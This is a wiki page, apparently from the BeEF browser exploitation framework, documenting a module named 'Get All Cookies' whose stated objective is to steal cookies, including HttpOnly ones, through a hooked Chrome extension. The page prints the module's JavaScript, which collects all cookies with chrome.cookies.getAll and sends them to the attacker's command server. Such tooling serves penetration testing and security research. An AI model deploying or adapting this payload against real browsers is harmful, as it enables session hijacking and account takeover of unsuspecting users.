Skip to content

Module: Get All Cookies

Jess Williams edited this page Jan 13, 2020 · 3 revisions

Summary

  • Objective: Steal cookies

  • Authors: mh

  • Browsers: Chrome

  • Code

Internal Working

Steals all (even HttpOnly) cookies, provided that the hooked extension has cookies access.

Note: Needs to have installed a Chrome extension with a beef hook / somehow hook a Chrome extension first for this to work.

if (the_url != 'default_all') {
    chrome.cookies.getAll({url:the_url}, function(cookies){
        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
    })
} else {
        chrome.cookies.getAll({}, function(cookies){
        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
})

Feedback

Clone this wiki locally